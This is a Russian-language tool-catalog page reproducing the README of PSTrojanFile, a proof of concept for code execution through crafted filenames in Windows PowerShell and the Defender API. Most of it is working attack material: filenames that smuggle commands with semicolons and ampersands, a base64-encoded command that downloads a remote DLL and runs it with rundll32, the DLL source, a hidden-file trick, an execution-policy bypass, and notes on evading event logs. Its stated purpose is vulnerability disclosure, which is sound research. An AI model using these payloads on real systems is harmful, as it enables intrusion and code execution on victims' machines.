Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PSTrojanFile — Неисправленный POC выполнения кода через имя файла в Windows PowerShell | Kitploit
Инструменты/GitHubGitHub/hyp3rlinx/pstrojanfile
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбход IDS/IPSСкриптинг и автоматизацияCTFТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

Неисправленный POC выполнения кода через имя файла в Windows PowerShell

4282 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

PSTrojanFile

Имя файла Windows PowerShell и API Defender Anti-Malware — POC выполнения кода

Обнаружено: John Page (aka hyp3rlinx), 2019, пересмотрено в 2023

Обновлено 24 декабря 2023 г.

Обход препятствия с одинарными кавычками в PowerShell для выполнения кода и бонус — сбой журнала событий Windows!
Точка с запятой и друг "&" — оператор объединяют усилия для возможностей произвольного выполнения кода.

Запускаем нежелательное вредоносное ПО:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

ИЛИ

Сканирование Windows Defender Anti-malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Если Malware.exe находится в том же каталоге, представьте это как drive-by загрузку.

Сбой журнала событий Windows: событие PowerShell с ID 403 не регистрирует истинное имя файла из-за усечения:

Фрагмент журнала PowerShell:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

Вызвать ping cmd? Почему бы и нет
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Выйти из сеанса жертвы:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Обновлено: 7 декабря 2023 г., добавлен вектор через командную строку (CL) и API Windows Defender, см. ниже:

Поскольку это всё ещё работает, я стряхнул пыль и внёс небольшие улучшения:

  1. Выполнение удалённой DLL с помощью rundll32
  2. Выполнение непредусмотренного вторичного PS1-скрипта или локального текстового файла (может быть скрытым)
  3. Обновлён Python3-скрипт, создающий имена PS1-файлов-троянов (PS1 Trojan Filename Creator)

Впервые сообщено в Microsoft ещё в 2019 году, но на момент написания остаётся неисправленным.

Удалённое выполнение кода через специально созданное имя файла.

Проблема связана с точкой с запятой ";": мы можем декодировать команду Base64 и выполнить её прямо из имени PS1-файла или просто выполнять команды.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Вызывайте команды сразу

"Testing;saps (gc -) PoC;.ps1"

Векторы: двойной щелчок, перетаскивание на ярлык PowerShell

Использует альтернативные сокращённые команды PowerShell, такие как "saps", "gc" — запуск процесса, get-content и т.д.

Пример выполнения DLL:

Создайте троянский PS1-файл, который попытается загрузить и выполнить удалённую DLL с именем "1.d"

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

Код DLL:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Дважды щёлкните троянский PS1-файл.

Пример выполнения кода из текстового файла:

Создайте PS1-файл с именем, включающим saps "запуск процесса" и gc "get-content"; он прочитает команды из скрытого файла.

"Test;saps (gc -) PoC;.ps1"

Создайте скрытый файл: attrib +s +h "-"

Дважды щёлкните или перетащите.

Требования:

a) Файлы PowerShell .ps1 должны быть настроены на открытие с помощью PowerShell в качестве программы по умолчанию

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) Пользователь должен дважды щёлкнуть, запустить из командной строки или перетащить вредоносный PS1-скрипт с таким именем

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Обновление: PowerShell API Microsoft Defender Anti-Malware — произвольное выполнение кода.

Microsoft Defender Anti-Malware и/или API PowerShell могут привести к выполнению произвольного кода. Например, сканирование каталога, ярлыка .lnk или даже несуществующего объекта может привести к выполнению непредусмотренного кода. Этот вектор основан на моём предыдущем отчёте и последующем проекте PSTrojanFile.

Требования:

  1. В командной строке (CL) команда 'powershell' добавляется или передаётся при вызове PowerShell из другого скрипта
  2. Исполняемый файл с тем же именем, что и параметр, находящийся рядом

Примеры:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe находится на рабочем столе)

Создайте каталог ";saps Test"; Test.exe, Test.cmd и т.д. находятся в том же пути командной строки
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Создайте каталог с точкой с запятой и поместите PE-файл с именем doom.exe в тот же путь.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

И последнее, но не менее важное: При получении хеша файла в PowerShell происходит выход из системы :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Скачать инструмент